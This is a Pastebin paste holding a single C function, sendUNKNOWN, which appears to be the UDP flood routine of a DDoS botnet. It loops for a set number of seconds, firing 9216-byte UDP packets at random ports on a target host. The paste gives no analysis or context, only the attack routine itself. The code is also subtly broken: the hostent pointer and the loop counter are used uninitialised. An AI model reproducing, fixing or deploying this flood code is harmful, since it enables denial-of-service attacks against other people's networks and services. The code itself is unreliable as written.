Advertisement
Guest User

Untitled

a guest
Mar 25th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. void sendUNKNOWN(unsigned char *ip, int port, int secs)
  2. {
  3. int flag = 1, fd, i;
  4.  
  5. char *buf = (char*)malloc(9216);
  6.  
  7. struct hostent *hp;
  8. struct sockaddr_in sin;
  9.  
  10. time_t start = time(NULL);
  11.  
  12. bzero((char*)&sin, sizeof(sin));
  13. bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length);
  14. sin.sin_family = AF_INET;
  15. sin.sin_port = port;
  16.  
  17. while (1)
  18. {
  19.  
  20. sin.sin_port = rand();
  21.  
  22. if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  23. {
  24.  
  25. }
  26. else
  27. {
  28. flag = 1;
  29. ioctl(fd, FIONBIO, &flag);
  30. sendto(fd, buf, 9216, 0, (struct sockaddr*)&sin, sizeof(sin));
  31. close(fd);
  32. }
  33.  
  34. if (i >= 50)
  35. {
  36. if (time(NULL) >= start + secs) break;
  37. i = 0;
  38. }
  39. i++;
  40. }
  41. close(fd);
  42. exit(0);
  43. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement